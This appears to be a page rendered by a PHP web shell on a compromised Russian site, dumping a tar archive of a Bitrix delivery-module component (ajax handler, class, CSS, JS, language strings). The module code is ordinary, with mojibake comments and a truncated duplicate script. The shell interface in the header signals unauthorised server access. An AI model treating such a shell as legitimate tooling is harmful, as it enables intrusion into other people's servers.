Your IP : 216.73.216.28


Current Path : /var/www/amortar/data/www/amg174.ru/7c7f9/
Upload File :
Current File : /var/www/amortar/data/www/amg174.ru/7c7f9/local.tar

components/.htaccess000044400000000177151760651320010540 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>components/dellindev/dellindev.shipment.derivalsettings/.parameters.php000064400000000212151760651320022634 0ustar00<?php
if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED!==true)die();

$arComponentParameters = Array(
	'PARAMETERS' => array()
);
?>components/dellindev/dellindev.shipment.derivalsettings/lang/ru/class.php000064400000000005151760651320023067 0ustar00<?
?>components/dellindev/dellindev.shipment.derivalsettings/lang/en/class.php000064400000000072151760651320023047 0ustar00<?
$MESS["SALE_LOCATION_MAP_BUTTON"] = "Map locations";
?>components/dellindev/dellindev.shipment.derivalsettings/ajax.php000064400000006471151760651320021353 0ustar00<?
/**
 * ���� backend ����������.
 * Bitrix Framework
 * @global CMain $APPLICATION
 */

define("NO_KEEP_STATISTIC", true);
define("NO_AGENT_STATISTIC", true);
define("NO_AGENT_CHECK", true);
define("NOT_CHECK_PERMISSIONS", true);

require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php");

$result = array("ERROR" => "");

if (!\Bitrix\Main\Loader::includeModule('sale'))
	$result["ERROR"] = "Error! Can't include module \"Sale\"";
if (!\Bitrix\Main\Loader::includeModule('dellindev.shipment'))
    $result["ERROR"] = "Error! Can't include module \"dellindev.shipment\"";

\Bitrix\Sale\Delivery\Services\Manager::getHandlersList();
$saleModulePermissions = $APPLICATION->GetGroupRight("sale");

if($result["ERROR"] == '' && $saleModulePermissions >= "W" && check_bitrix_sessid())
{
	$action = isset($_REQUEST['action']) ? trim($_REQUEST['action']): '';
    if($class == '')
    {
        $result["ERROR"] = "Error! Wrong location class!";
    }

    if (\Bitrix\Main\Loader::includeModule('dellindev.shipment')){
        $ajaxService = new $class;

        switch ($action)
        {
            case "get_termianl_derival":

                /** @var Sale\Handlers\Delivery\AjaxService $ajaxService*/
                $appkey = (isset($_REQUEST['appkey']) && !empty($_REQUEST['appkey']))?
                                        $_REQUEST['appkey'] :
                                        $ajaxService::LoggerInfo($action, 'appkey is null or empty');
                $kladr = (isset($_REQUEST['kladr']) && !empty($_REQUEST['kladr']))?
                                        $_REQUEST['kladr']:
                                        $ajaxService::LoggerInfo($action, 'kladr is null or empty');

                if(mb_strtolower(SITE_CHARSET) != 'utf-8') {
                    $appkey = \Bitrix\Main\Text\Encoding::convertEncoding($appkey, SITE_CHARSET, 'utf-8');
                    $kladr = \Bitrix\Main\Text\Encoding::convertEncoding($kladr, SITE_CHARSET, 'utf-8');
                }


                $result = $ajaxService::getTerminalsForAjax($kladr,$appkey);

                break;
            case "get_city_kladr":           
                $q = isset($_REQUEST['query'])?$_REQUEST['query']: null;
                $appkey = (isset($_REQUEST['appkey']) && !empty($_REQUEST['appkey']))?
                                             $_REQUEST['appkey'] :
                                             $ajaxService::LoggerInfo($action, 'appkey is null or empty');
                if(mb_strtolower(SITE_CHARSET) != 'utf-8')
                    $q = \Bitrix\Main\Text\Encoding::convertEncoding($q, SITE_CHARSET, 'utf-8');
                $result['LIST'] = $ajaxService::searchCityForAjax($q, $appkey);
                break;
            default:
                $result["ERROR"] = "Error! Wrong action!";
                break;
        }
    } else {
        $result["ERROR"] = "Error! Can't include module \"dellindev.shipment\"";
    }
}
else
{
	if($result["ERROR"] == '')
		$result["ERROR"] = "Error! Access denied";
}

if($result["ERROR"] <> '')
	$result["RESULT"] = "ERROR";
else
	$result["RESULT"] = "OK";

if(mb_strtolower(SITE_CHARSET) != 'utf-8')
	$result = \Bitrix\Main\Text\Encoding::convertEncoding($result, SITE_CHARSET, 'utf-8');

header('Content-Type: application/json');
echo  json_encode($result);
\CMain::FinalActions();
die;components/dellindev/dellindev.shipment.derivalsettings/class.php000064400000001602151760651320021524 0ustar00<?
if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();

use Bitrix\Main\Localization\Loc;
Loc::loadMessages(__FILE__);

class CSaleDellinDerival extends CBitrixComponent
{
	protected function checkParams($params)
	{

		if(!isset($params['AJAX_SERVICE_CLASS']))
			throw new \Bitrix\Main\ArgumentNullException('AJAX_SERVICE_CLASS');
	}

	public function onPrepareComponentParams($params)
	{

		if(!isset($params['AJAX_SERVICE_CLASS']))
			$params['AJAX_SERVICE_CLASS'] =  $this->arParams['AJAX_SERVICE_CLASS'];

		return $params;
	}

	public function executeComponent()
	{
		try
		{
			$this->checkParams($this->arParams);
		}
		catch(\Exception $e)
		{
			ShowError($e->getMessage());
			return;
		}

		if(!CModule::IncludeModule('sale'))
		{
			ShowError("Module sale not installed!");
			return;
		}





		CJSCore::Init('core', 'ajax');
		$this->includeComponentTemplate();
	}
}components/dellindev/dellindev.shipment.derivalsettings/templates/.default/style.css000064400000002407151760651320025264 0ustar00td{
    position:relative !important;
}
.kladrDiv{
    position:absolute;
    top:0;
    background:#fff;
    box-shadow:0 0 10px 0 rgba(0,0,0,0.5);
    z-index:2;
    padding:20px;
}
.autocomplete{
    position: absolute;
    z-index: 2;
    background: #fff;
    width: 300px;
    height: 40px;

    border: 1px solid #ccc;
    cursor: pointer;
    box-shadow: 0 0 10px rgba(0,0,0,0.5)
}
.autocomplete .rows{
    position:relative;
    background: #fff;
}
.autocomplete-row{
    cursor:pointer;
    padding:7px;
    height:32px;
    overflow:scroll;
    white-space: nowrap;
}
.autocomplete-row:hover{
    background:#ccc;
}
input[name="CONFIG[dellin_delivery_settings][COUNTERAGENT]"],input[name="CONFIG[dellin_delivery_settings][TERMINAL_ID]"],input[name="CONFIG[dellin_delivery_settings][SENDER_FORM]"],input[name="CONFIG[dellin_delivery_settings][OPF_COUNTRY]"]{
    display:none !important;
}
.loading .loading-content{
    position: fixed;
    top: 0px;
    right: 0px;
    z-index: 9999;
    background: #fff;
    padding: 20px;
    border-radius: 10px;
    box-shadow:0 0 5px rgba(0,0,0,0.5);
}
.loading-wrap{
    width: 100%;
    height: 100%;
    position: absolute;
    top: 0;
    left: 0;
    background: rgba(0,0,0,0.5);
    z-index:99;
}
span.error{
    color:#ff0000;
}components/dellindev/dellindev.shipment.derivalsettings/templates/.default/style.min.css000064400000002002151760651320026035 0ustar00td{position:relative!important}.kladrDiv{position:absolute;top:0;background:#fff;box-shadow:0 0 10px 0 rgba(0,0,0,0.5);z-index:2;padding:20px}.autocomplete{position:absolute;z-index:2;background:#fff;width:300px;height:40px;border:1px solid #ccc;cursor:pointer;box-shadow:0 0 10px rgba(0,0,0,0.5)}.autocomplete .rows{position:relative;background:#fff}.autocomplete-row{cursor:pointer;padding:7px;height:32px;overflow:scroll;white-space:nowrap}.autocomplete-row:hover{background:#ccc}input[name="CONFIG[dellin_delivery_settings][COUNTERAGENT]"],input[name="CONFIG[dellin_delivery_settings][TERMINAL_ID]"],input[name="CONFIG[dellin_delivery_settings][SENDER_FORM]"],input[name="CONFIG[dellin_delivery_settings][OPF_COUNTRY]"]{display:none!important}.loading .loading-content{position:fixed;top:0;right:0;z-index:9999;background:#fff;padding:20px;border-radius:10px;box-shadow:0 0 5px rgba(0,0,0,0.5)}.loading-wrap{width:100%;height:100%;position:absolute;top:0;left:0;background:rgba(0,0,0,0.5);z-index:99}span.error{color:#f00}components/dellindev/dellindev.shipment.derivalsettings/templates/.default/script.js000064400000025661151760651320025263 0ustar00/**
 * AJAX ���������.
 *
 * �������� �� ��������� ������ ������.
 * ��������� ���� ��� ��������� �������� ����� �����(��������� ��� ������������� ����������).
 *
 * @company BIA-Tech
 * @author Lazev Vadim
 * @year 2021
 */

// �������������� ������������ ���.
BX.namespace('BX.Sale.Dellin.DerivalSettings');

// � ������������� ������� ��������� ������ ��������������.
BX.Sale.Dellin.DerivalSettings =
{
	ajaxUrl: "",
	interruptFlag: false,
	requestFlag: false,
	serviceLocationClass: "",
	isError: false,
	viewMsg: '',// ���� ���-�� �� ������ ���������, ��������� ����� ���������
	errorMsg: null,
	inputDisabled: false,
	cityKladr: null,
	isOpen: false,

	getAppkey: function(){
		return document.querySelector('[name="CONFIG[MAIN][APIKEY]"]')
	},
	setAnswer: function (answer) {

		// if(!answer)
		// {
		// 	//TODO ������� ����� ��������� �� ������.
		// 	// BX.Sale.Location.Map.pb.showError(BX.message('SALE_DLVRS_ADD_LOC_COMP_AJAX_ERROR'));
		// 	return;
		// }
		console.log(answer);
		this.answerData = answer;
		BX.Sale.Dellin.DerivalSettings.loadingData = false;
	},
	getTerminalDerival: function()
	{
		let appkey = this.getAppkey().value;
		let kladr = document.querySelector('[name="CONFIG[DERIVAL][CITY_KLADR]"]').value;

		if (!appkey) return ;
		if (kladr.length > 23){

			let postData = {
				sessid: BX.bitrix_sessid(),
				action: 'get_termianl_derival',
				appkey: appkey,
				kladr: kladr,
				class: BX.Sale.Dellin.DerivalSettings.serviceAjaxClass
			};

		 let response = 	BX.ajax({
				timeout:    300,
				method:     'POST',
				dataType:   'json',
				url:        BX.Sale.Dellin.DerivalSettings.ajaxUrl,
				data:       postData,

				onsuccess: function(result)
				{

					let fieldTerminalList = document.querySelector('[name="CONFIG[DERIVAL][TERMINAL_ID]"]');
					if (!result) return;

					console.log('Terminal LIST', result.TERMINALS);
					console.log('added term', BX.Sale.Dellin.DerivalSettings.clearOptionInTerminalList());
						 result.TERMINALS.map(function (terminal) {

						 	let option = document.createElement('option');
						 		option.innerHTML = terminal.address;
						 		option.value = terminal.id;
						 		option.id = 'terminal-added';
							 	option.selected =  (fieldTerminalList.dataset.value == terminal.id);
							    fieldTerminalList.appendChild(option);
						 })
				//	BX.Dellin.

				},

				onfailure: function(status)
				{
					console.log("onfailture", status);
				}
			});

			return response;

		}

	},
	clearOptionInTerminalList: function(){
		let allTerminalInSelect = document.querySelectorAll('#terminal-added');
			if(!allTerminalInSelect) return;
			allTerminalInSelect.forEach(function (el) {
				el.parentNode.removeChild(el)
			})

	},

	displayLoading: function () {

		this.hideLoading();
		let tabId = document.querySelector('#edit_additional_tab_0');
		let divWrap = document.createElement('div');
			divWrap.className = 'loading-wrap';

		let divLoading = document.createElement('div');
			divLoading.className = 'loading';

		let spanContent = document.createElement('span');
			spanContent.className = 'loading-content';
			spanContent.innerHTML = BX.message("PROCESSING");

		let img = document.createElement('img');
			img.src = '/bitrix/js/main/core/images/wait.gif';
			spanContent.appendChild(img);
			divLoading.appendChild(spanContent);

			tabId.appendChild(divWrap);
			tabId.appendChild(divLoading);


	},

	hideLoading: function()
	{
		let loadingWrap = document.querySelector('.loading-wrap');
		let loading = document.querySelector('.loading');
		if(loadingWrap == null){
			return '';
		}

		if(loadingWrap == undefined){
			return '';
		}

		loadingWrap.remove();
		loading.remove();
		// $('.loading-wrap').remove();
		// $('.loading').remove();
	},

	validateAppkey: function(){
		let value = this.getAppkey().value;
		if(!value){
			this.isError = true;
			this.inputDisabled = true;
			this.errorMsg= BX.message("DELLINDEV_FIELD_APPKEY_UNDEFIEND");
		}

		if(value.length <=0){
			this.isError = true;
			this.inputDisabled = true;
			this.errorMsg = BX.message("DELLINDEV_FIELD_APPKEY_UNDEFIEND");
		}
	},

	getViewMsg: function () {
		let spanMsg = document.createElement('span');
		spanMsg.innerHTML = this.viewMsg;


		//���������� ���� ����� ���
		this.validateAppkey();


		//���� ��������� ���������� � ������, ��������� ���� � ��������
		if(this.isErrors){
			let br = document.createElement('br');
			spanMsg.appendChild(br);
			spanMsg.appendChild(this.getErrors());
		}



		return spanMsg;
	},
	getErrors: function(){

		if(this.isError == false){
			return '' ;
		}

		let spanError = document.createElement('span');
			spanError.className = 'error';
			spanError.innerHTML = this.errorMsg;
		return spanError;
	},

	getNode: function()
	{

		let KLADRdiv = document.createElement('div');
			KLADRdiv.className = 'kladrDiv popup-container';

		let spanMsg = this.getViewMsg();
			KLADRdiv.appendChild(spanMsg);


		let inputKLADR = document.createElement('input');
			inputKLADR.name = 'query';
			inputKLADR.className = 'kladr_autocomplete';
			inputKLADR.addEventListener('keyup', function (e) {


				if(this.value.length > 3){
					let postData = {
						sessid: BX.bitrix_sessid(),
						action: 'get_city_kladr',
						query: this.value,
						class: BX.Sale.Dellin.DerivalSettings.serviceAjaxClass
					};


					BX.ajax({
						timeout:    300,
						method:     'POST',
						dataType:   'json',
						url:        BX.Sale.Dellin.DerivalSettings.ajaxUrl,
						data:       postData,

						onsuccess: function(result)
						{

							let fields = BX.Sale.Dellin.DerivalSettings.getAutoComplete(result);
							inputKLADR.after(fields);
						},

						onfailure: function(status)
						{

							console.log("onfailture", status);
						}
					});

				// console.log(request);



				}

			});
			
		let removeButton = document.createElement('input');
			removeButton.type = 'button';
			removeButton.className = 'close';
			removeButton.value = BX.message('BUTTON_CLOSE');

			removeButton.addEventListener('click', function (e) {
				console.log('this.isOpen state:', BX.Sale.Dellin.DerivalSettings.isOpen);
				if(BX.Sale.Dellin.DerivalSettings.isOpen){
					BX.Sale.Dellin.DerivalSettings.isOpen = !BX.Sale.Dellin.DerivalSettings.isOpen;
					KLADRdiv.remove();
				}

				console.log('this.isOpen state:', BX.Sale.Dellin.DerivalSettings.isOpen);


			});

		KLADRdiv.appendChild(inputKLADR);
		KLADRdiv.appendChild(removeButton);

		//TODO ����������� ���� ��� KLADRDiv ���������� �������� ����.


		return KLADRdiv;


	},
	displayFieldsOnMethod(){

		let fieldChangeMethod = document.querySelector('[name="CONFIG[DERIVAL][GOODSLOADING]"]');
		let rowTerminalId = document.querySelector('#terminal_derival');
		let	rowAddress = document.querySelector('#address_derival');
		let blockWorkOnlySchemeAddress = document.querySelector('#address_additional');
			if(fieldChangeMethod.value == '0'){
				rowTerminalId.style = '';
				rowAddress.style = 'display:none';
				blockWorkOnlySchemeAddress.style = 'display:none';
			} else {
				rowAddress.style = '';
				rowTerminalId.style = 'display:none';
				blockWorkOnlySchemeAddress.style = '';
			}

			console.log(fieldChangeMethod.value);
	},
	getAutoComplete: function(result){


		//TODO ������� ��� �������.
		BX.Sale.Dellin.DerivalSettings.clearAutoComplete();

		let divAutocomplete = document.createElement('div');
			divAutocomplete.className = 'autocomplete';
		let divRows = document.createElement('div');
			divRows.className = 'rows';


			result.LIST.forEach(function (el) {

			let row = BX.Sale.Dellin.DerivalSettings.buildRowAutocompolite(el);

				divRows.appendChild(row);

			});

			console.log(divRows);
			divAutocomplete.appendChild(divRows);

			console.log(divAutocomplete);

			//add block KLADinput

			return divAutocomplete;


	},
    buildRowAutocompolite: function(el) {
        let divRow = document.createElement('div');
        divRow.className = 'autocomplete-row';
        divRow.dataset.id = el.code;
        divRow.innerHTML = el.aString + ' [' + el.code + '] ';
        divRow.addEventListener('click', function() {
            let fieldCityName = document.querySelector('[name="CONFIG[DERIVAL][CITY_NAME]"]');
            fieldCityName.value = el.aString;
            let fieldCityKLADR = document.querySelector('[name="CONFIG[DERIVAL][CITY_KLADR]"]');
            fieldCityKLADR.value = this.dataset.id; console.log('Your select KLADR:', this.dataset.id);
            BX.Sale.Dellin.DerivalSettings.getTerminalDerival();
            BX.Sale.Dellin.DerivalSettings.clearAutoComplete();
        }); 
        return divRow;
    },
	clearAutoComplete: function(){
		let autoComplete = document.querySelector('.autocomplete');
		if(autoComplete !== null){
			autoComplete.remove();
		}

	},
	onblurAutocomplete: function(){
		setTimeout(this.clearAutoComplete, 300);
	},
	showBlockInputAutoComplete: function()
	{
		//��������� ��������. �� ��������� ���������.
		let button = document.querySelector('#findKladr');
		if(!this.isOpen){
			let afterButton = this.getNode();
				button.after(afterButton);
			this.isOpen = !this.isOpen;
		} else {
		let KLADRdiv = document.querySelector('.popup-container');
			KLADRdiv.remove();
			this.isOpen = !this.isOpen;
		}
	},
    selectCity: function() {
        let input = document.querySelector('#cityField');
        let appkey = this.getAppkey().value
        if (input.value.length > 3) {
            let postData = {
                sessid: BX.bitrix_sessid(),
                appkey: appkey,
                action: 'get_city_kladr',
                query: input.value,
                class: BX.Sale.Dellin.DerivalSettings.serviceAjaxClass
            };
            BX.ajax({
                timeout: 300,
                method: 'POST',
                dataType: 'json',
                url: BX.Sale.Dellin.DerivalSettings.ajaxUrl,
                data: postData,
                onsuccess: function(result) {
                    let fields = BX.Sale.Dellin.DerivalSettings.getAutoComplete(result);
                    input.after(fields);
                },
                onfailure: function(status) {
                    console.log("onfailture", status);
                }
            });
        }
    }

};







components/dellindev/dellindev.shipment.derivalsettings/templates/.default/lang/ru/script.php000064400000000145151760651320026773 0ustar00<?$MESS["DELLINDEV_FIELD_APPKEY_UNDEFIEND"] = "Поле с ключем не определено!";
components/dellindev/dellindev.shipment.derivalsettings/templates/.default/lang/ru/template.php000064400000013520151760651320027303 0ustar00<?
$MESS['API_KEY_EMPTY']  = 'Для поиска должен быть заполнен Ключ API';
$MESS['PROCESSING'] = 'Обработка запроса...';
$MESS['EMPTY_DERIVAL_SEARCH'] = 'Для поиска должен быть заполнен Пункт отправления';
$MESS['EMPTY_KLADR_SEARCH'] = 'Для поиска должен быть заполнен Код КЛАДР города / Пункта отправления';
$MESS['EMPTY_API_SEARCH'] = 'Для поиска должен быть заполнен Ключ API';
$MESS['SEARCH_MSG'] = 'Начните писать название';
$MESS['EMPTY_CITY_KLADR'] = 'Не задан КЛАДР города';
$MESS['FIND_CITY_KLADR'] = 'найти КЛАДР города';
$MESS['FIND_STREET_KLADR'] = 'найти КЛАДР улицы';
$MESS['BUTTON_CLOSE'] = 'закрыть';
$MESS['BUTTON_SELECT'] = 'выбрать';

$MESS['DELLIN_SETTINGS_TITLE_GOODS_LOADING_SECTION_HEADER'] = 'Погрузка';
$MESS['DELLIN_SETTINGS_TITLE_IS_GOODS_LOADING'] = 'Забрать груз от адреса отправителя';
$MESS['DELLIN_SETTINGS_TITLE_LOADING_TYPE'] = 'Тип погрузки машины';
$MESS['DELLIN_SETTINGS_VALUES_LOADING_TYPE_BACK'] = 'Задняя';
$MESS['DELLIN_SETTINGS_VALUES_LOADING_TYPE_SIDE'] = 'Боковая';
$MESS['DELLIN_SETTINGS_VALUES_LOADING_TYPE_UP'] = 'Верхняя';

$MESS['DELLIN_SETTINGS_TITLE_ADDITIONAL_EQUIPMENT'] = 'Дополнительная комплектация';
$MESS['DELLIN_SETTINGS_VALUES_ADDITIONAL_EQUIPMENT_NO'] = 'Не требуются';
$MESS['DELLIN_SETTINGS_VALUES_ADDITIONAL_EQUIPMENT_TAIL_LIFT'] = 'Гидроборт';
$MESS['DELLIN_SETTINGS_VALUES_ADDITIONAL_EQUIPMENT_MANIPULATOR'] = 'Манипулятор';

$MESS['DELLIN_SETTINGS_TITLE_TRANSPORT_REQUIREMENTS'] = 'Специальные требования к транспорту';
$MESS['DELLIN_SETTINGS_VALUES_TRANSPORT_REQUIREMENTS_NO'] = 'Не требуются';
$MESS['DELLIN_SETTINGS_VALUES_TRANSPORT_REQUIREMENTS_OPEN'] = 'Открытая машина';
$MESS['DELLIN_SETTINGS_VALUES_TRANSPORT_REQUIREMENTS_TENT'] = 'Требуется растентовка';
$MESS["DELLINDEV_INPUT_POINT_DERIVAL"] = "Передача груза";
$MESS["DELLINDEV_INPUT_CITY"] = "Населённый пункт";
$MESS["DELLINDEV_KLADR_CODE_CITY_DERIVAL"] = "КЛАДР";
$MESS["DELLINDEV_SELECTED_SCHEME"] = "При выборе схемы отгрузки \"От терминала\" выберите поле терминал в поле \"Терминал отгрузки\".";
$MESS["DELLINDEV_SELECTED_SCHEME_INFO"] = "
                    При выборе схемы отгрузки \"От адреса\" введите в поле \"Адрес отгрузки CDI\" адрес формата
                    \"Россия, Свердловская область, Екатеринбург, проспект Ленина, д. 1\" . ";
$MESS["DELLINDEV_SCHEME_DERIVAL"] = "Способ отправки";
$MESS["DELLINDEV_FROM_TERMINAL"] = "От терминала";
$MESS["DELLINDEV_FROM_ADDRESS"] = "От адреса";
$MESS["DELLINDEV_ADDRESS_DERIVAL"] = "Адрес забора груза";
$MESS["DELLINDEV_TERMINAL_DERIVAL"] = "Терминал отправки";
$MESS["DELLINDEV_TERMINAL_NOT_SELECTED"] = "Не выбран";
$MESS["DELLINDEV_WORK_BREAK_START_END_4_HOURS"] = "Время работы склада. <br/> Время работы склада (без учета перерыва) должно быть не менее 4 часов.";
$MESS["DELLINDEV_WORK_START"] = "Начало рабочего дня";
$MESS["DELLINDEV_WORK_BREAK_START"] = "Начала перерыва";
$MESS["DELLINDEV_WORK_BREAK_END"] = "Окончание перерыва";
$MESS["DELLINDEV_WORK_END"] = "Окончание рабочего дня:";
$MESS["DELLINDEV_REQUIREMENTS_TRANSPORT_LOADING"] = "Услуги при доставке от адреса";
$MESS["DELLINDEV_NOT_REQUEIRED"] = "Не требуется";
$MESS["DELLINDEV_BACK_LOADING"] = "Задняя погрузка ";
$MESS["DELLINDEV_UPPER_LOADING"] = "Верхняя погрузка ";
$MESS["DELLINDEV_SPEC_REQUIREMENT_TRANSPORT"] = "Специальные требования к транспорту";
$MESS["DELLINDEV_OPEN_CAR"] = "Открытая машина";
$MESS["DELLINDEV_REQUIRED_UN_CANOPY"] = "Требуется растентовка";
$MESS["DELLINDEV_ADDITIONAL_COMPLECT"] = "Дополнительная комплектация:";
$MESS["DELLINDEV_PALLET_LIFT"] = "Гидроборт";
$MESS["DELLINDEV_MANIPULATOR"] = "Манипулятор";
$MESS["DELLINDEV_ADDRESS_VALUE_DESC"] = "
        Например: Россия, Свердловская обл, Екатеринбург, ул. Шевченко, д.1 ";
$MESS["DELLINDEV_DESCRIPTION_ADDRESS_VALUE_1"] = "Примечание: адрес забора груза должен содержать следующие элементы: страна, субьект, населённый пункт, улица, номер дома.";
$MESS["DELLINDEV_LOADING_SIDE"] = "Боковая погрузка";
$MESS["DELLINDEV_PARAM_DELIVERY_DELAY"] = "Параметры отложенной доставки ";
$MESS["DELLINDEV_DELAY_DAY"] = "Отложить доставку на";
$MESS["DELLINDEV_DAYS"] = "(дней)";
$MESS["DELLINDEV_LOADING_TYPE"] = "Тип погрузки";
$MESS["DELLINDEV_CARGO_UPPER_WORK"] = "Погрузочные работы";
$MESS["SIDE_LOADING"] = "Боковая загрузка";
$MESS["UPPER_LOADING"] = "Верхняя загрузка";
$MESS["PALLET_LIFT"] = "Гидроборт";
$MESS["MANIPULATOR"] = "Манипулятор";
$MESS["REQUIRED_OPEN_CAR"] = "Требуется открытая машина";
$MESS["UN_CANOPY"] = "Растентовка";

$MESS["DELLINDEV_SHIPMENT_CHOOSE_TIME"] = "Не указано";

?>components/dellindev/dellindev.shipment.derivalsettings/templates/.default/lang/en/script.php000064400000000145151760651320026747 0ustar00<?$MESS["DELLINDEV_FIELD_APPKEY_UNDEFIEND"] = "Поле с ключем не определено!";
components/dellindev/dellindev.shipment.derivalsettings/templates/.default/lang/en/template.php000064400000001151151760651320027254 0ustar00<?
$MESS["SALE_LOCATION_MAP_LOC_COUNT"] = "Locations registered";
$MESS["SALE_LOCATION_MAP_LOC_MAPPED"] = "Locations mapped";
$MESS["SALE_LOCATION_MAP_CLOSE"] = "Close";
$MESS["SALE_LOCATION_MAP_LOC_MAPPING"] = "Map locations";
$MESS["SALE_LOCATION_MAP_CANCEL"] = "Cancel";
$MESS["SALE_LOCATION_MAP_PREPARING"] = "Prepare";
$MESS["SALE_LOCATION_MAP_NEW"] = "Map unmapped locations";
$MESS["SALE_LOCATION_MAP_ALL"] = "Delete existing mappings before mapping";
$MESS["SALE_LOCATION_MAP_NEW_B"] = "Map new locations";
$MESS["SALE_LOCATION_MAP_ALL_B"] = "Map all locations";
$MESS["SALE_DLV_SRV_SPSR_LOC_MAP"] = "Map";
?>components/dellindev/dellindev.shipment.derivalsettings/templates/.default/script.min.js000064400000025661151760651320026045 0ustar00/**
 * AJAX ���������.
 *
 * �������� �� ��������� ������ ������.
 * ��������� ���� ��� ��������� �������� ����� �����(��������� ��� ������������� ����������).
 *
 * @company BIA-Tech
 * @author Lazev Vadim
 * @year 2021
 */

// �������������� ������������ ���.
BX.namespace('BX.Sale.Dellin.DerivalSettings');

// � ������������� ������� ��������� ������ ��������������.
BX.Sale.Dellin.DerivalSettings =
{
	ajaxUrl: "",
	interruptFlag: false,
	requestFlag: false,
	serviceLocationClass: "",
	isError: false,
	viewMsg: '',// ���� ���-�� �� ������ ���������, ��������� ����� ���������
	errorMsg: null,
	inputDisabled: false,
	cityKladr: null,
	isOpen: false,

	getAppkey: function(){
		return document.querySelector('[name="CONFIG[MAIN][APIKEY]"]')
	},
	setAnswer: function (answer) {

		// if(!answer)
		// {
		// 	//TODO ������� ����� ��������� �� ������.
		// 	// BX.Sale.Location.Map.pb.showError(BX.message('SALE_DLVRS_ADD_LOC_COMP_AJAX_ERROR'));
		// 	return;
		// }
		console.log(answer);
		this.answerData = answer;
		BX.Sale.Dellin.DerivalSettings.loadingData = false;
	},
	getTerminalDerival: function()
	{
		let appkey = this.getAppkey().value;
		let kladr = document.querySelector('[name="CONFIG[DERIVAL][CITY_KLADR]"]').value;

		if (!appkey) return ;
		if (kladr.length > 23){

			let postData = {
				sessid: BX.bitrix_sessid(),
				action: 'get_termianl_derival',
				appkey: appkey,
				kladr: kladr,
				class: BX.Sale.Dellin.DerivalSettings.serviceAjaxClass
			};

		 let response = 	BX.ajax({
				timeout:    300,
				method:     'POST',
				dataType:   'json',
				url:        BX.Sale.Dellin.DerivalSettings.ajaxUrl,
				data:       postData,

				onsuccess: function(result)
				{

					let fieldTerminalList = document.querySelector('[name="CONFIG[DERIVAL][TERMINAL_ID]"]');
					if (!result) return;

					console.log('Terminal LIST', result.TERMINALS);
					console.log('added term', BX.Sale.Dellin.DerivalSettings.clearOptionInTerminalList());
						 result.TERMINALS.map(function (terminal) {

						 	let option = document.createElement('option');
						 		option.innerHTML = terminal.address;
						 		option.value = terminal.id;
						 		option.id = 'terminal-added';
							 	option.selected =  (fieldTerminalList.dataset.value == terminal.id);
							    fieldTerminalList.appendChild(option);
						 })
				//	BX.Dellin.

				},

				onfailure: function(status)
				{
					console.log("onfailture", status);
				}
			});

			return response;

		}

	},
	clearOptionInTerminalList: function(){
		let allTerminalInSelect = document.querySelectorAll('#terminal-added');
			if(!allTerminalInSelect) return;
			allTerminalInSelect.forEach(function (el) {
				el.parentNode.removeChild(el)
			})

	},

	displayLoading: function () {

		this.hideLoading();
		let tabId = document.querySelector('#edit_additional_tab_0');
		let divWrap = document.createElement('div');
			divWrap.className = 'loading-wrap';

		let divLoading = document.createElement('div');
			divLoading.className = 'loading';

		let spanContent = document.createElement('span');
			spanContent.className = 'loading-content';
			spanContent.innerHTML = BX.message("PROCESSING");

		let img = document.createElement('img');
			img.src = '/bitrix/js/main/core/images/wait.gif';
			spanContent.appendChild(img);
			divLoading.appendChild(spanContent);

			tabId.appendChild(divWrap);
			tabId.appendChild(divLoading);


	},

	hideLoading: function()
	{
		let loadingWrap = document.querySelector('.loading-wrap');
		let loading = document.querySelector('.loading');
		if(loadingWrap == null){
			return '';
		}

		if(loadingWrap == undefined){
			return '';
		}

		loadingWrap.remove();
		loading.remove();
		// $('.loading-wrap').remove();
		// $('.loading').remove();
	},

	validateAppkey: function(){
		let value = this.getAppkey().value;
		if(!value){
			this.isError = true;
			this.inputDisabled = true;
			this.errorMsg= BX.message("DELLINDEV_FIELD_APPKEY_UNDEFIEND");
		}

		if(value.length <=0){
			this.isError = true;
			this.inputDisabled = true;
			this.errorMsg = BX.message("DELLINDEV_FIELD_APPKEY_UNDEFIEND");
		}
	},

	getViewMsg: function () {
		let spanMsg = document.createElement('span');
		spanMsg.innerHTML = this.viewMsg;


		//���������� ���� ����� ���
		this.validateAppkey();


		//���� ��������� ���������� � ������, ��������� ���� � ��������
		if(this.isErrors){
			let br = document.createElement('br');
			spanMsg.appendChild(br);
			spanMsg.appendChild(this.getErrors());
		}



		return spanMsg;
	},
	getErrors: function(){

		if(this.isError == false){
			return '' ;
		}

		let spanError = document.createElement('span');
			spanError.className = 'error';
			spanError.innerHTML = this.errorMsg;
		return spanError;
	},

	getNode: function()
	{

		let KLADRdiv = document.createElement('div');
			KLADRdiv.className = 'kladrDiv popup-container';

		let spanMsg = this.getViewMsg();
			KLADRdiv.appendChild(spanMsg);


		let inputKLADR = document.createElement('input');
			inputKLADR.name = 'query';
			inputKLADR.className = 'kladr_autocomplete';
			inputKLADR.addEventListener('keyup', function (e) {


				if(this.value.length > 3){
					let postData = {
						sessid: BX.bitrix_sessid(),
						action: 'get_city_kladr',
						query: this.value,
						class: BX.Sale.Dellin.DerivalSettings.serviceAjaxClass
					};


					BX.ajax({
						timeout:    300,
						method:     'POST',
						dataType:   'json',
						url:        BX.Sale.Dellin.DerivalSettings.ajaxUrl,
						data:       postData,

						onsuccess: function(result)
						{

							let fields = BX.Sale.Dellin.DerivalSettings.getAutoComplete(result);
							inputKLADR.after(fields);
						},

						onfailure: function(status)
						{

							console.log("onfailture", status);
						}
					});

				// console.log(request);



				}

			});
			
		let removeButton = document.createElement('input');
			removeButton.type = 'button';
			removeButton.className = 'close';
			removeButton.value = BX.message('BUTTON_CLOSE');

			removeButton.addEventListener('click', function (e) {
				console.log('this.isOpen state:', BX.Sale.Dellin.DerivalSettings.isOpen);
				if(BX.Sale.Dellin.DerivalSettings.isOpen){
					BX.Sale.Dellin.DerivalSettings.isOpen = !BX.Sale.Dellin.DerivalSettings.isOpen;
					KLADRdiv.remove();
				}

				console.log('this.isOpen state:', BX.Sale.Dellin.DerivalSettings.isOpen);


			});

		KLADRdiv.appendChild(inputKLADR);
		KLADRdiv.appendChild(removeButton);

		//TODO ����������� ���� ��� KLADRDiv ���������� �������� ����.


		return KLADRdiv;


	},
